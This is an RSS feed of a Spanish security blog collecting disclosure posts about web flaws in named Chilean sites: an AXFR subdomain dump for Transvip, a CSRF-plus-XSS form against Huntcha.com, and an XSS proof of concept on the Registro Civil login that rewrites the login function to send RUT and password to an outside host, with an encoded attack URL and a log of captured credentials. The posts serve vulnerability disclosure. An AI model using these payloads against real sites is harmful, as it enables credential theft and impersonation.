<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; Resultados de la búsqueda  &#187;  xss</title>
	<atom:link href="http://blog.zerial.org/search/xss/feed/rss2/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Wed, 08 Feb 2012 20:48:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Problemas de seguridad en Transvip</title>
		<link>http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/</link>
		<comments>http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 20:48:54 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Anecdotas]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[transvip]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2894</guid>
		<description><![CDATA[Hace un par de días estaba en uno de esos Transfer que te llevan desde el aeropuerto hasta tu casa, de la empresa Transvip. El movil tenia un dispositivo en el lado del chofer con el cual me imagino que lo usan para ver las reservas y rutas a seguir. Me llamó la atención el [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un par de días estaba en uno de esos Transfer que te llevan desde el aeropuerto hasta tu casa, de la empresa <a href="http://www.transvip.cl">Transvip</a>. El movil tenia un dispositivo en el lado del chofer con el cual me imagino que lo usan para ver las reservas y rutas a seguir.</p>
<p>Me llamó la atención el dispositivo ya que parecia que tenía un navegador web y no era el típico gps, asi que me acerqué y para ver que era realmente</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/transvip1.jpg"><img class="aligncenter size-full wp-image-2896" title="transvip1" src="http://blog.zerial.org/wp-content/uploads/2012/02/transvip1.jpg" alt="" width="500" height="234" /></a></p>
<p>Me di cuenta que si era un navegador web, conectado a la URL <strong>transnet480.transvip.cl</strong>. Lo primero que se me vino a la cabeza fue &#8220;<em>un sistema interno de reservas, una intranet</em>&#8220;. Intenté conectarme desde el telefono y pude ver lo mismo que se veia en esa pantalla del chofer. Me llamó la atención que a ese sistema, donde supuestamente debería poder ingresar sólo personal de la empresa, sea accesible publicamente simplemente con la URL. Sin ningun tipo de filtro ni control de acceso.<br />
Seguí investigando y descubri algunas otras fallas en los servicios de internet de esta empresa, por ejemplo, usan los dns de Centropuerto, <strong>ns.centropuerto.cl</strong>, los cuales son vulnerables a ataques de transferencia de zonas (AXFR), pudiendo conocer los subdominios del dominio transvip.cl, donde aparecen varios que podrian ser de utilidad como test, convenios o transnet480:</p>
<blockquote><p>clientes.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
convenios.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
cp.transvip.cl.        38400    IN    CNAME    www.transvip.cl.<br />
exchange.transvip.cl.    38400    IN    CNAME    srv-exchange.transvip.cl.<br />
gestion.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
mail.transvip.cl.    38400    IN    A    200.111.172.44<br />
mailing.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
movil.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
srv-exchange.transvip.cl. 38400    IN    A    200.111.172.44<br />
test.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
transnet480.transvip.cl. 38400    IN    CNAME    www.transvip.cl.<br />
www.transvip.cl.    38400    IN    A    200.111.172.46</p></blockquote>
<p>Intenté comunicarme con alguien encargado de informática o algo parecido, pero no hubo respuesta por parte de ellos. Además de indicarles estos problemas de seguridad, tambien iba a reportarles algunas vulnerabilidades web encontradas como un Cross-Site Scripting en el sitio transnet480:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/xss_transvip.png"><img class="aligncenter size-full wp-image-2899" title="xss_transvip" src="http://blog.zerial.org/wp-content/uploads/2012/02/xss_transvip.png" alt="" width="521" height="362" /></a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fproblemas-de-seguridad-en-transvip%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/"  data-text="Problemas de seguridad en Transvip" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fallos de seguridad en Huntcha.com</title>
		<link>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/</link>
		<comments>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/#comments</comments>
		<pubDate>Fri, 09 Dec 2011 02:47:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2845</guid>
		<description><![CDATA[Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png"><img class="aligncenter size-full wp-image-2846" title="huntchalogo" src="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png" alt="" width="213" height="65" /></a>Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los amores secretos&#8221; de esa persona. Si esta persona está emparejada y está casado, se podría armar un lio mas o menos.</p>
<p>Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:</p>
<blockquote><p><strong>Política de Privacidad</strong></p>
<p>En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la  empresa respeta el deber de proteger los datos de carácter privado y  personales de los usuarios, no dando acceso a ellos al público a menos  que el propio usuario los de a conocer, por medio de la página web bajo  su consentimiento, no pudiendo hacer responsable a la empresa por la  información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales  tomando todas las medidas necesarias para esto, a fin de evitar la  pérdida, mal uso o cualquier apropiación indebida de estos mismos.</p></blockquote>
<p>Lo que más me llama la atención es que segun ellos, son <a href="https://twitter.com/#!/huntcha_com/status/140430867058266112">100% privados y seguros</a>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png"><img class="aligncenter size-full wp-image-2847" title="seguroyprivado" src="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png" alt="" width="548" height="216" /></a></p>
<p>Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% <strong>no existe</strong>.</p>
<p>He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.</p>
<p>Las vulnerabilidades son <strong>Cross-Site Request Forgery</strong> (CSRF) y <strong>Cross-Site Scripting</strong> (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a &#8220;tus amigos&#8221; para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.</p>
<p><span id="more-2845"></span></p>
<p>Uno de los XSS detectados está en la página de error, cuando no encuentra el &#8220;módulo&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png"><img class="aligncenter size-full wp-image-2850" title="xss1" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png" alt="" width="568" height="350" /></a></p>
<p>El segundo Cross-Site Scripting, lo encontré al momento de configurar el &#8220;Boss-Mode&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png"><img class="aligncenter size-full wp-image-2851" title="xss2" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png" alt="" width="565" height="508" /></a></p>
<p>Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un &#8220;mensaje&#8221; enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png"><img class="aligncenter size-full wp-image-2852" title="mail_form1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png" alt="" width="570" height="517" /></a></p>
<p>Si falsificamos ese formulario y lo corremos de forma local, con un simple html:</p>
<blockquote><p>&lt;form method=post action=http://www.huntcha.com/?c=app&amp;m=send_invitation&gt;<br />
Token Falso: &lt;input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391&gt;&lt;br&gt;<br />
Nombre: &lt;input type=text name=name value=&#8221;AAA&#8221;&gt;&lt;br&gt;<br />
Destino: &lt;input type=text name=mail value=panic@zerial.org&gt;&lt;br&gt;<br />
Mensaje: &lt;input type=text name=message value=&#8221;hola&lt;a href=&#8217;http://www.huntcha.com/?c=index&amp;m=bossmode_denied&amp;url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl&#8217;&gt;AAA&lt;/a&gt;&#8221;&gt;&lt;br&gt;<br />
&lt;input type=submit&gt;<br />
&lt;/form&gt;</p></blockquote>
<p>El formulario nos quedaría de la siguiente forma:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png"><img class="aligncenter size-full wp-image-2856" title="mail_form_poc1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png" alt="" width="310" height="115" /></a></p>
<p>Cuando le damos a &#8220;Submit query&#8221;, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png"><img class="aligncenter size-full wp-image-2858" title="mail_form_poc3" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png" alt="" width="534" height="391" /></a>En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.</p>
<p>La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a <strong>cualquier</strong> portal o sitio web. Hoy en día <strong>todas</strong> las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.</p>
<p>El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffallos-de-seguridad-en-huntcha-com%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/"  data-text="Fallos de seguridad en Huntcha.com" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Robo de credenciales y suplantación de identidad en sitio web del Registro Civil</title>
		<link>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/</link>
		<comments>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 12:20:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[prueba de concepto]]></category>
		<category><![CDATA[registro civil]]></category>
		<category><![CDATA[robo de credenciales]]></category>
		<category><![CDATA[robo de identidad]]></category>
		<category><![CDATA[session hijacking]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2815</guid>
		<description><![CDATA[Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png"><img class="aligncenter size-full wp-image-2816" title="regciv" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png" alt="" width="543" height="60" /></a></p>
<p>Hace un par de semanas fueron reportadas en <a href="http://secureless.org">Secureless</a> 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el <strong>grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior</strong>, quienes ellos mismos se acercaron a mi luego de la charla de la <a href="http://8dot8.org">Computer Security Conference 8.8</a> para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una &#8220;entidad reguladora&#8221; es capaz de hacer entender a los responsables y encargados.</p>
<p>Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el <strong>robo de credenciales y suplantación de identidad</strong>.</p>
<p>Este fallo afecta a la página de autentificación de certificados en línea</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png"><img class="aligncenter size-full wp-image-2819" title="regciv_certl" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png" alt="" width="584" height="210" /></a>En el cual es posible modificar la función el botón &#8220;Ingresar&#8221;, para que nos envíe la información de identificación a un sitio externo.</p>
<p><span id="more-2815"></span></p>
<p>La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el <strong>dominio original</strong> y real del Registro Civil, incluso su certificado de &#8220;seguridad&#8221; SSL. La URL maliciosa tiene la forma</p>
<p style="text-align: center;"><strong>https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX</strong></p>
<p>Para aprovecharse de esta vulnerabilidad lo único que hay que hacer es envenenar la variable &#8220;pag&#8221; y sobreescribir la función javascript &#8220;ingresar()&#8221;.</p>
<p>En primera instancia, modificaremos la función para que nos muestre el contenido de cada campo del formulario de autentificación</p>
<p><strong>El nombre de usuario/rut</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].runOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p><strong>La password</strong><br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20alert%28document.forms[0].passwordOI.value%29;%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar en estos dos links, veran la pantalla de inicio de sesión normal, sin modificaciones. Ingresen sus datos y presionen el botón &#8220;Ingresar&#8221;, veran como aparece un mensaje con los datos que ustedes han ingresado. Esta prueba de concepto es una simple alerta que muestra los datos que ingresaste en el formulario.<br />
La segunda prueba de concepto será generar una alerta en el navegador donde nos muestre el usuario y la password juntos<br />
<a href="https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc'; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert('rut: ' %2b _a %2b ' password: ' %2b _b); }&lt;/script&gt;&lt;script&gt;">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc&#8217;; } } function ingresar(){ var _a = document.forms[0].runOI.value; var _b = document.forms[0].passwordOI.value; alert(&#8216;rut: &#8216; %2b _a %2b &#8216; password: &#8216; %2b _b); }&lt;/script&gt;&lt;script&gt;</a></p>
<p>Si ingresamos nuestro datos de acceso y pinchamos en ingresar, podemos ver que nuestra información aparecerá en la alerta del navegador</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png"><img class="aligncenter size-full wp-image-2823" title="regciv_certl_pwd" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl_pwd.png" alt="" width="554" height="414" /></a></p>
<p>Una vez realizada esta prueba de concepto, ya podemos enviar esa información a un sitio externo, donde el atacante podría almacenar la información del usuario al momento de iniciar sesión.</p>
<p>Modificaremos la función &#8220;ingresar()&#8221; de forma tal que nos envie la información del formulario al dominio <strong>zerial.org</strong> (de pruebas), usando el siguiente código javascript:</p>
<pre name="code" class="c">pocpoc';
}}
function ingresar(){
        document.forms[0].action = 'http://zerial.org/PoC_RegCivil';
        document.forms[0].method = 'GET';
        document.forms[0].submit();
}
<script></script></pre>
<p>Se lo inyectamos a la URL vulnerable:</p>
<p><a href=" https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E"></p>
<p>https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20</p>
<p>var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E</a></p>
<p>Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:</p>
<p><strong>x.x.x.x &#8211; - [xx/Nov/2011:xx:xx:xx -0300] &#8220;GET /PoC_RegCivil?tipoAyuda=&#038;runOI=1544345&#038;dvOI=&#038;passwordOI=prueba HTTP/1.1&#8243; 200 1529 &#8220;-&#8221;"</strong></p>
<p>Podemos ver donde dice <strong>runOI</strong> y <strong>passwordOI</strong>, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario</p>
<p><strong>RUT:</strong> 1544345<br />
<strong>Password:</strong> prueba</p>
<p>Finalmente, la URL maliciosa tendría la forma:</p>
<p><a href="http://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45">https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45</a></p>
<p>Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.</p>
<p><strong>ACTUALIZADO (3 de Diciembre):</strong> Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.</p>
<p>Como siempre, hay que hacer publicas las fallas para que le den solucion.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Frobo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/"  data-text="Robo de credenciales y suplantación de identidad en sitio web del Registro Civil" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Secureless: Estadisticas de sitios web vulnerables</title>
		<link>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/</link>
		<comments>http://blog.zerial.org/seguridad/secureless-estadisticas-de-sitios-web-vulnerables/#comments</comments>
		<pubDate>Mon, 28 Nov 2011 12:15:09 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[estadisticas]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2777</guid>
		<description><![CDATA[En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto Secureless, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion. Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, [...]]]></description>
			<content:encoded><![CDATA[<p>En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto <a href="http://secureless.org">Secureless</a>, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion.</p>
<p>Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas</p>
